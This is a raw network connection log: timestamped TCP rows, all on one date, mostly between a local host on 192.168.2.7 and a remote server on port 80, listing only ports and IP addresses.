Oct 7, 2024 18:43:23.762979031 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763000965 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763015032 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763035059 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763062000 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763067961 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763097048 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763114929 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763171911 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763204098 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763223886 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763236046 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763252020 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763268948 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763286114 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763303041 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763318062 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763350010 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763354063 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763406992 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763411999 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763459921 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763462067 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763497114 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763514042 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763526917 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763544083 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763559103 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763586044 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763591051 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763597012 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763622999 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763633966 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763657093 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763669014 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763690948 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763711929 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763722897 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763742924 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763756037 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763762951 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763792038 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763823986 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763823986 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763834953 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763858080 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763871908 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763890028 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763907909 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763936996 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.763940096 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763972998 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.763987064 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764005899 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764018059 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764038086 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764051914 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764072895 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764106989 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764117002 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764167070 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764199972 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764214039 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764231920 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764245033 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764265060 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764276981 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764300108 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764311075 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764334917 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764353991 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764373064 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764386892 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764409065 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764420986 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764456987 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764502048 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764533043 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764549017 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764564991 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764578104 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764596939 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764610052 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764631033 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764642954 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764663935 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764676094 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764698029 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764708996 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764730930 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764743090 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764765024 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764776945 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764796972 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764810085 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764830112 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764842987 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764864922 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.764873028 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764910936 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.764957905 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765005112 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765064001 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765095949 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765110016 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765129089 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765134096 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765161991 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765176058 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765206099 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765213013 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765254974 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765260935 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765295029 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765310049 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765326023 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765341043 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765358925 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765372038 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765393019 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765403986 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765427113 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765439034 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765460014 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765471935 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765492916 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765505075 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765526056 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765536070 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765558958 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765573025 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765589952 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765604973 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765623093 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765635014 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765656948 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.765666962 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.765702963 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767447948 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767478943 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767510891 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767519951 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767530918 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767545938 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767556906 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767580032 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767594099 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767611980 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767625093 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767646074 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767657042 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767690897 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767694950 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767729044 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767740965 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767760992 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767772913 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767807007 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767808914 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767843962 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767857075 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767877102 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767890930 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767910004 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767925024 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767941952 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767956018 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.767975092 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.767991066 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768011093 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768022060 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768055916 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768064022 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768096924 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768107891 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768129110 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768141031 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768162966 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768193960 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768199921 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768225908 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768240929 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768240929 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768259048 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768270969 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768292904 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768299103 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768326998 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.768338919 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.768381119 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.787868023 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.787939072 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.854321003 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.854360104 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.854391098 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.854443073 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.856875896 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.856905937 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.856934071 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.856937885 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.856959105 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.856972933 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.856981993 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857017040 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857023954 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857069016 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857074022 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857106924 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857119083 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857140064 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857167006 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857172012 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857198954 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857218981 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857220888 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857253075 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857274055 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857285976 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857297897 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857322931 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857331991 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857367039 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857373953 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857404947 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857417107 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857438087 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857450962 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857481956 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857486963 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857522011 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857530117 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857553959 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857566118 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857588053 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857599974 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857620001 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857644081 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857652903 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857665062 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857691050 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857698917 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857723951 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857743025 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857755899 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857774973 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857791901 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857804060 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857836008 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857851028 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857868910 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857881069 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857901096 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857913017 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857933998 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857942104 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.857963085 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.857975960 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858005047 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858011007 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858042955 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858055115 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858071089 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858088017 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858103037 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858114004 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858145952 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858155966 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858184099 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858197927 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858228922 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858232975 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858266115 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858277082 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858299017 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858321905 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858330965 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858350992 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858362913 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858370066 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858408928 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858409882 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858438969 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858454943 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858483076 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858488083 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858501911 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858520031 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858525038 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858556032 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858561039 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858587027 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858597040 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858620882 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858629942 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858660936 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858669043 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858701944 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858710051 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858732939 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858741999 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858767033 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858773947 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858798027 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858808994 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858831882 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858839035 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858864069 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858874083 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858905077 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858911991 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858943939 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858953953 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.858977079 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.858983040 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859009027 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859042883 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859042883 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859061956 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859075069 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859085083 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859107971 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859117031 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859139919 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859150887 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859180927 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859189034 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859245062 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859250069 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859283924 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859291077 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859318972 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859327078 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859364986 CEST	49736	80	192.168.2.7	147.45.44.104
